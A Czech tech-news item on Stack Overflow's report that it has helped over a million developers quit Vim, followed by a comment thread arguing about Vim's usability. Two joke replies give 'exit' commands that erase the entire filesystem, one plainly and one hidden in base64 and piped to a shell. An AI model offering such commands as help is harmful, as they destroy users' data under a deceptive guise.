Stack Overflow pomohl ukončit editor Vim už více než milionu vývojářů

Portál Stack Overflow informuje na svém blogu, že pomohl ukončit editor Vim už více než milionu vývojářů. V loňském roce například hledal odpověď na otázku Jak ukončit editor Vim v průměru 1 z 20 000 návštěvníků.

25.5.2017 19:55 | Ladislav Hagara | Humor

Komentáře

[citanus]

..už více než milionu vývojářů

 

heh

[Zlopez]

Třeba takto?

:!rm -rf --no-preserve-root /

[AsciiWolf]

:!echo cm0gLXJmIC0tbm8tcHJlc2VydmUtcm9vdCAvCg== | base64 -d | sh

[ika]

hořečnatá sůl je lepčí

[trubicoid2]

I've been using Vim for about 2 years now, mostly because I can't figure out how to exit it.

[Xerces]

[little.owl]

Nekonecny problem . Kdyz jsem zacinal s Linuxem a vim poprve spustil v 1995 v textove konzoli, musel jsem pro jeho ukonceni po te co selhaly vsechny mne bezne zname triky tvrde resetovat pocitac.

[xvasek]

To jsme museli všichni. A kdo říká, že ne, ten to dělá dodnes.

[Martin Lebeda]

podobně (stackowerflow ještě neexistoval), nějakou dobu jsem se mu vyhýbal (i když jsem pak ZZ zvládl, popis ovládání vi byl naštěstí v každé knize o unixu).

Ale pak jsem narazil na stránky p. Satrapy (http://www.nti.tul.cz/~satrapa/docs/vim/) a od té doby na něj nedám dopustit...

[gnat]

Alt+F2 killall vim

[frr]

To snad abych přestal Stack Overflow používat.

[petrfm]

By se meli autori toho zmetku nad sebou zamyslet :)

[AsciiWolf]

Proč by se nad sebou měli autoři Stack Overflow zamyslet?

[petrfm]

Víš který zmetek (se kterým má tolik lidí problémy) mám na mysli, tak se nedělej

[salam]

neVIM

[petrfm]

Ten co nejde normálně ukončit

[Matlák]

Spíš by se měli nad sebou zamyslet všichni ti, kteří vim spustí, aniž by věděli jak jej ukončit. Blíže nespecifikované vozidlo taky nerozjíždím/neroztlačuju, když nevím jak ho pak zastavit. Tvůj příspěvek je nad míru arogantní.

[petrfm]

Cože???? Trochu debilní příklad. Já bych to přirovnal tomu, že vim je jako auto, které ti přistavím, ať se s ním projedeš, ale neřeknu ti, že motor se vypíná taháním páčky pod sedačkou, kde má každé jiné auto otevírání kufru, nebo nádrže.

[petrfm]

Jinými slovy, tam může umístit vypínání motoru jenom idiot

[Matlák]

Psal jsem blíže nespecifikované vozidlo. Když se tě teď zeptám, jak vypnu motor, co odpovíš? Klíčkem? A co u lokomotivy? Nebo u tramvaje? Když je člověk takový idiot, že si neuvědomí že spouští něco o čem nic neví a nepřečetl si manuál, tak se nemůže divit že u složitějšího zařízení zatápe a v horším případě něco zkazí (viz lidé co si naformátují disk při instalaci nějakého distra a pak prudí že je to nepoužitelný). Prostě nesouhlasím s tím že by všechno mělo být unifikované, protože je to extrémně omezující. Programy v počítači jsou mnohem víc rozmanité a složité na pochopení, protože dělají mnoho různých dalece odlišných věcí. Osobní auta dělají všechna jednu a tu samou věc, ale vozidla obecně to už je jiná...

[petrfm]

Zvolil jsi debilní příklad. VIM není nic světoborného. Je to textový editor. V mnoha distrech jediný a výchozí. Takže je to jako vypínač na světlo v hotelovém pokoji. Taky je jich mnoho typů a barev, některé umí stmívání, některé mají ledku nebo doutnavku. Ale jedno mají společné. Stiskem se zapnou, nebo vypnou. VIM je takový vypínač bez krytu. Který když slepě nahmatám, dostanu ránu a pak se dočtu, že musím vzít na šňůrce zavěšený šroubovák a zatlačit na pružinku aby se vypnul. Je to prima, protože se šroubovákem v ruce mám spoustu možností. Ale většina lidí to ukopne nohou a toho debila, co to tam namontoval vyfackuje za ty pokopané ruce.

Tož tak a nepiš, že má reakce je sprostá, vím to, jsem nasranej z těch stupidních poznámek, že bych si měl nejdříve nastudovat manuál, než spustím nějaký program. No to bysme to dopracovali, kdyby lidi jako ty vymýšleli softu ovládání. To abych se bál kliknout na souborového manažera, protože co když kliknutí na ikonu znamená smazat všechny soubory a spouští se to klávesou delete? Moment, nalistuju manuál.... Ty vole, už to neber.

[Matlák]

Když lezeš do temné laboratoře a čteš návody jak otevřít dveře, neměl by tě šroubovák na niti překvapit. GNU/Linux není pomalovaná krabička s reklamou. Je to tvoje volba. Nelíbí se ti ten editor? Vyměň ho, máš už v ruce šroubovák..

[petrfm]

Mi byl ten editor vnucen. Já jsem si ho nevybral a od té doby, co jsem se s ním blíže seznámil automaticky instaluju nano. Ale debata byla o něčem jiném. Prostě jen tvrdím, že to ovládání vymyslel magor.

[frr]

Ono se s tím těžko polemizuje. Snad jenom si uvědomte kontext, ve kterém vznikl "vi" a jeho přímý předchůdce "ed" (ta spodní příkazová řádka ve VIMu, která se otvírá dvojtečkou, pochází tuším z něj). V uvedených dvou odkazech jsou jmenováni otcové u kolébky těchto dvou starobylých editorů - a musím ve zpětném pohledu souhlasit, že to asi nebyli průměrní smrtelníci. Pro zasazení na mou subjektivní časovou osu: já jsem se v roce 76 narodil, a můj táta tehdy koupil domů černobílou televizi. Proč se tenhle dinosauří editor dodnes používá? Já jsem si na něj tak nějak nerad zvykl koncem minulého století, vlastně mi byl taky vnucen. A když jsem pak zjistil, co do něj Bram Molenaar všecko dopsal, třeba rozšiřitelný syntax highlighting, a provázání s kompilátory běžných jazyků, tak k němu nějak pořád zpátky sklouzávám, přestože v dnešní době je spousta výborných editorů a IDE, ovladatelných víc "na bázi přirozené inteligence" a běžných konvencí.